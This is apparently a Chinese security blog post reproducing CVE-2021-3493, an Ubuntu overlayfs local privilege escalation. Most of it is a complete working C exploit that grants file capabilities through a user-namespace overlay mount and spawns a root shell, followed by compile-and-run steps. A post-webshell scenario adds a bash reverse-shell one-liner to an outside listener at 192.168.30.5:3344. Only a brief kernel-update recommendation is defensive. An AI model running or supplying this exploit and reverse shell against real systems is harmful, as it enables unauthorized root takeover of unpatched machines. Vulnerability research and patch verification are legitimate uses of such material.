# CVE-2021-3493 Ubuntu 提权

# CVE-2021-3493

Ubutnu 一些版本存在本地用户提权至 root 权限。漏洞是 Linux 内核中 overlayfs 文件系统中的 Ubuntu 特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于 Ubuntu 附带了一个允许非特权的 overlayfs 挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。

# 影响版本

  • Ubuntu 20.10
  • Ubuntu 20.04 LTS
  • Ubuntu 18.04 LTS
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 ESM

# 漏洞复现

测试环境: Ubuntu 16.04 LTS gcc 环境

image-20210423132045169

poc 文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;

if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);

char buf[4096];
ssize_t rd, wr;

for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}

char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}

close(fi);
close(fo);
}

static int exploit()
{
char buf[4096];

sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);

xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);

uid_t uid = getuid();
gid_t gid = getgid();

if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");

xwritefile("/proc/self/setgroups", "deny");

sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);

sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);

sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);

// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);

return 0;
}

int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}

pid_t child = fork();
if (child == -1)
err(1, "fork");

if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}

execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}

漏洞利用

1
2
3
gcc exploit.c -o exploit
chmod +x exploit
./exploit

# 普通可登录用户测试

image-20210423132329662

# www 不可登录用户测试

为了方便测试我直接使用了宝塔搭建了 web 环境,模拟当我们拿到 www 权限时提权过程

假如你通过某种方式上传了木马文件,可以使用蚁剑连接,将 exp 文件放在一个可读写的目录下,即权限为 777

image-20210423133707199

因为蚁剑的虚拟终端只是 webshell,并非我们所需的 shell,所以我们可以先反弹一个 bash

1
bash -i >& /dev/tcp/192.168.30.5/3344 0>&1

kali 监听,然后使用 Ubuntu 反弹 shell

image-20210423134325158

image-20210423134412462

www 提权测试

1
2
3
gcc exploit.c -o exploit
chmod +x exploit
./exploit

image-20210423134935958

尝试使用了阿里云的服务器测试,测试失败,因为内核已经升级

# 防御建议

更新系统内核版本。详细版本信息请参考供应商的安全公告。